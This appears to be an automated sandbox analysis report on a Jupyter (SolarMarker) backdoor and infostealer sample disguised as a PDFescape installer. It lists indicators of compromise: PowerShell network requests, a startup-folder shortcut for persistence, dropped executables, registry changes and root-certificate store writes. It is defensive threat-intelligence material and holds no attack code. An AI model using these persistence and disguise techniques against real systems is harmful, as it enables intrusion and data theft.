jupyter | eb642a90bfe0b537c3d87a2449a6b2817401ef9c273f95d7617f886a3e003f90

Resubmissions

16-03-2021 18:01

210316-trddssyj5s 10

16-03-2021 17:35

210316-s74c3lhrtn 8

Analysis

max time kernel
151s
max time network
151s
platform
windows10_x64
resource
win10v20201028
submitted
16-03-2021 18:01

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General

Target

aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.exe

Score

10^/10

jupyter backdoor stealer trojan

Malware Config

Signatures

Jupyter Backdoor/Client Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2556-185-0x0000000009B10000-0x0000000009B28000-memory.dmp	family_jupyter

Jupyter, SolarMarker
Jupyter is a backdoor and infostealer first seen in mid 2020.
backdoor trojan stealer jupyter

Blocklisted process makes network request 9 IoCs

flow	pid	Process
29	2556	powershell.exe
32	4436	powershell.exe
33	4036	powershell.exe
34	1796	powershell.exe
35	4028	powershell.exe
36	2352	powershell.exe
37	1328	powershell.exe
38	1776	powershell.exe
39	3048	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp
3184	PDFescape_Desktop_Installer.exe
3168	PDFescapeDesktopInstaller.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\microsoft\windows\start menu\programs\startup\a4f914844ef46f9bec48aaa58ab5e.lnk	powershell.exe

Loads dropped DLL 5 IoCs

pid	Process
3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp
3860	aa5ba0f6ce6bb84632d0dda729c787961b751c237372aa47dc49dc8a8a9a749d.tmp
4240	regsvr32.exe
632	DllHost.exe
3184	PDFescape_Desktop_Installer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{58996E59-0000-4D4E-8CEE-5B22F2107655}\ProxyStubClsid32	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{FD0188E8-0000-49D3-BF36-2B1DB153CEC3}\ = "IInstallItemsList"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{C11A590C-0000-4C63-8E93-279E07FA7F96}\ = "IStartItemModule"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CB86DDD7-CFE1-4D8B-AA2F-A732C3E66A7D}\Version\ = "1.0"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{46D9BB0E-F2F3-4987-AAC2-4E97C53437B7}\1.0\0\win32	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{46D9BB0E-F2F3-4987-AAC2-4E97C53437B7}\1.0\HELPDIR	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{C753468E-0000-46FA-B49D-C133BC303D3B}\TypeLib	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0003DEA4-0000-40CB-B0FB-D1492CA1149F}\ = "IInstallItemExternalApp"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{A92F07A1-0000-40B0-AF9F-CCEFA34AB08E}\TypeLib	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3BCC59F0-6C35-4FF0-86A9-0A2E267E65B0}	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{77CDE36D-0000-4223-8E25-3FFD866B17E8}\InprocServer32\ = "C:\\ProgramData\\PDFescape Desktop\\Installation\\Statistics.dll"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A4CB4452-0000-4D69-B194-10F00E72CF6B}\Version	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{188419DA-30AB-4A88-BC26-66A045E23263}\InprocServer32\ThreadingModel = "Apartment"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7F592843-0000-4833-9F47-F7332F3CB3F8}\TypeLib	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{40FA2F96-0000-4F05-84D8-C1256EAB70A0}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{A4A11886-0000-484A-BB3C-5874E6828AA1}\TypeLib	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{57F9206E-944A-444B-B993-9D356DAEF36C}	regsvr32.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A7F7470C-0000-4762-9613-155654B24238}\Version	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{4BD66CEF-B189-4A0E-B5B4-497510EEA230}\ = "IDownloadItemMonetization"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{C753468E-0000-46FA-B49D-C133BC303D3B}\TypeLib\Version = "1.0"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{7F592843-0000-4833-9F47-F7332F3CB3F8}\TypeLib\Version = "1.0"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{4BD66CEF-B189-4A0E-B5B4-497510EEA230}\ProxyStubClsid32	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{3C0CF171-88CC-47E5-AB25-C93AFC0E7F9A}\TypeLib\ = "{46D9BB0E-F2F3-4987-AAC2-4E97C53437B7}"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{817163EF-0000-42BE-9A69-39AAF2E71D80}\TypeLib\ = "{46D9BB0E-F2F3-4987-AAC2-4E97C53437B7}"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{4BD66CEF-B189-4A0E-B5B4-497510EEA230}\TypeLib\ = "{46D9BB0E-F2F3-4987-AAC2-4E97C53437B7}"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{869F03A3-0000-4B45-9FB1-DF6B1387AB03}	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{77CDE36D-0000-4223-8E25-3FFD866B17E8}\InprocServer32	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58D07BB6-0000-4544-8064-3DB60EEDCF7B}\InprocServer32	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{BDEAB94F-0000-43AF-8408-C9BA782BF5D4}\LocalServer32	PDFescapeDesktopInstaller.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{4A1BB700-0000-4156-A8FA-3DD1DFBCD933}\ = "_IInstallEvents"	PDFescapeDesktopInstaller.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B5F28CBA-CAF7-482E-88FD-437887EB08EF}\InprocServer32\ThreadingModel = "Apartment"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{58996E59-0000-4D4E-8CEE-5B22F2107655}\ProxyStubClsid32	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{FD0188E8-0000-49D3-BF36-2B1DB153CEC3}\TypeLib\ = "{46D9BB0E-F2F3-4987-AAC2-4E97C53437B7}"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{57F9206E-944A-444B-B993-9D356DAEF36C}	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{57F9206E-944A-444B-B993-9D356DAEF36C}\ProxyStubClsid32	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{29CF5B0B-0000-4C5E-AAE0-B91F4FD87378}\ = "GeoIP Class"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CB86DDD7-CFE1-4D8B-AA2F-A732C3E66A7D}	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58D07BB6-0000-4544-8064-3DB60EEDCF7B}\AppID = "{2BC47158-F746-4E22-B116-D481B09E9674}"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{3C0CF171-88CC-47E5-AB25-C93AFC0E7F9A}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{BDEAB94F-0000-43AF-8408-C9BA782BF5D4}\Programmable	PDFescapeDesktopInstaller.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C7335C66-0000-4AC7-9E60-1E7BFE06708C}\1.0	PDFescapeDesktopInstaller.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C190A609-0000-4E00-B902-A894C0FA44E5}\InprocServer32	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{58996E59-0000-4D4E-8CEE-5B22F2107655}\TypeLib	regsvr32.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A4CB4452-0000-4D69-B194-10F00E72CF6B}\TypeLib	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A7F7470C-0000-4762-9613-155654B24238}\TypeLib	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{869F03A3-0000-4B45-9FB1-DF6B1387AB03}\TypeLib\Version = "1.0"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{40FA2F96-0000-4F05-84D8-C1256EAB70A0}	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{40FA2F96-0000-4F05-84D8-C1256EAB70A0}\ = "IDownloadItemToolbar"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{BDEAB94F-0000-43AF-8408-C9BA782BF5D4}\Version\ = "1.0"	PDFescapeDesktopInstaller.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9242C198-0000-4F73-935D-1C7905796C67}\Version	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{817163EF-0000-42BE-9A69-39AAF2E71D80}\ = "ToolbarStart Class"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7F592843-0000-4833-9F47-F7332F3CB3F8}	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{869F03A3-0000-4B45-9FB1-DF6B1387AB03}\ProxyStubClsid32	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0003DEA4-0000-40CB-B0FB-D1492CA1149F}\TypeLib\ = "{46D9BB0E-F2F3-4987-AAC2-4E97C53437B7}"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{37DD0F6C-0000-46F2-8B21-3E4AB4750AFF}\Version	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9981C967-0000-4633-8737-F55C3CC344B0}\Version	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{58996E59-0000-4D4E-8CEE-5B22F2107655}\TypeLib\ = "{46D9BB0E-F2F3-4987-AAC2-4E97C53437B7}"	regsvr32.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C190A609-0000-4E00-B902-A894C0FA44E5}\InprocServer32	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{09C4B9DD-0000-459D-934A-25EC1D0B234A}\InprocServer32	regsvr32.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A7F7470C-0000-4762-9613-155654B24238}	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3BCC59F0-6C35-4FF0-86A9-0A2E267E65B0}\TypeLib	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7F592843-0000-4833-9F47-F7332F3CB3F8}\TypeLib\Version = "1.0"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B5F28CBA-CAF7-482E-88FD-437887EB08EF}\Version\ = "1.0"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C8B6481C-0000-4643-989B-7D163445E1DD}\Version	regsvr32.exe

Modifies system certificate store 2 TTPs 8 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43	PDFescape_Desktop_Installer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	PDFescape_Desktop_Installer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	PDFescape_Desktop_Installer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E	PDFescape_Desktop_Installer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 5c0000000100000004000000001000000f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd979625483090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd21400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb1d0000000100000010000000885010358d29a38f059b028559c95f900b00000001000000100000005300650063007400690067006f0000000300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e190000000100000010000000ea6089055218053dd01e37e1d806eedf2000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd	PDFescape_Desktop_Installer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\47BEABC922EAE80E78783462A79F45C254FDE68B	PDFescape_Desktop_Installer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\47BEABC922EAE80E78783462A79F45C254FDE68B\Blob = 0f00000001000000200000003560e45b41e46b8f36537025d1d5bc02d9652a10645b0eff69e8b6a52191f335090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080b000000010000005200000047006f00200044006100640064007900200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790020001320200047003200000053000000010000002500000030233021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c062000000010000002000000045140b3247eb9cc8c5b4f0d7b53091f73292089e6e5a63e2749dd3aca9198eda1400000001000000140000003a9a8507106728b6eff6bd05416e20c194da0fde1d000000010000001000000070253fbcbde32a014d38c1993098ad9903000000010000001400000047beabc922eae80e78783462a79f45c254fde68b2000000001000000c9030000308203c5308202ada003020102020100300d06092a864886f70d01010b0500308183310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e3131302f06035504031328476f20446164647920526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3039303930313030303030305a170d3337313233313233353935395a308183310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e3131302f06035504031328476f20446164647920526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bf716208f1fa5934f71bc918a3f7804958e9228313a6c52043013b84f1e685499f27eaf6841b4ea0b4db7098c73201b1053e074eeef4fa4f2f593022e7ab19566be28007fcf316758039517be5f935b6744ea98d8213e4b63fa90383faa2be8a156a7fde0bc3b6191405caeac3a804943b467c320df3006622c88d696d368c1118b7d3b21c60b438fa028cced3dd4607de0a3eeb5d7cc87cfbb02b53a4926269512505611a44818c2ca9439623dfac3a819a0e29c51ca9e95d1eb69e9e300a39cef18880fb4b5dcc32ec85624325340256270191b43b702a3f6eb1e89c88017d9fd4f9db536d609dbf2ce758abb85f46fccec41b033c09eb49315c6946b3e0470203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604143a9a8507106728b6eff6bd05416e20c194da0fde300d06092a864886f70d01010b0500038201010099db5d79d5f99759670361f17e3b0631752da1208e4f6587b4f7a69cbcd8e92fd0db5aeecf748c73b43842da057bf80275b8fda5b1d7aef6d7de13cb53107e8a46d197fab72e2b11ab90b02780f9e89f5ae9379fabe4df6cb385179d3dd9244f799135d65f04eb8083ab9a022db510f4d890c7047340ed7225a0a99fec9eab68129957c68f123a09a4bd44fd061537c19be432a3ed38e8d864f32c7e14fc02ea9fcdff076817db2290382d7a8dd154f169e35f33ca7a3d7b0ae3ca7f5f39e5e275bac5761833ce2cf02f4cadf7b1e7ce4fa8c49b4a5406c57f7dd5080fe21cfe7e17b8ac5ef6d416b243090c4df6a76bb4998465ca7a88e2e244be5cf7ea1cf5	PDFescape_Desktop_Installer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\47BEABC922EAE80E78783462A79F45C254FDE68B\Blob = 19000000010000001000000021d008b47b7a2a81c8435903ded424c903000000010000001400000047beabc922eae80e78783462a79f45c254fde68b1d000000010000001000000070253fbcbde32a014d38c1993098ad991400000001000000140000003a9a8507106728b6eff6bd05416e20c194da0fde62000000010000002000000045140b3247eb9cc8c5b4f0d7b53091f73292089e6e5a63e2749dd3aca9198eda53000000010000002500000030233021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c00b000000010000005200000047006f00200044006100640064007900200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f007200690074007900200013202000470032000000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000200000003560e45b41e46b8f36537025d1d5bc02d9652a10645b0eff69e8b6a52191f3352000000001000000c9030000308203c5308202ada003020102020100300d06092a864886f70d01010b0500308183310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e3131302f06035504031328476f20446164647920526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3039303930313030303030305a170d3337313233313233353935395a308183310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e3131302f06035504031328476f20446164647920526f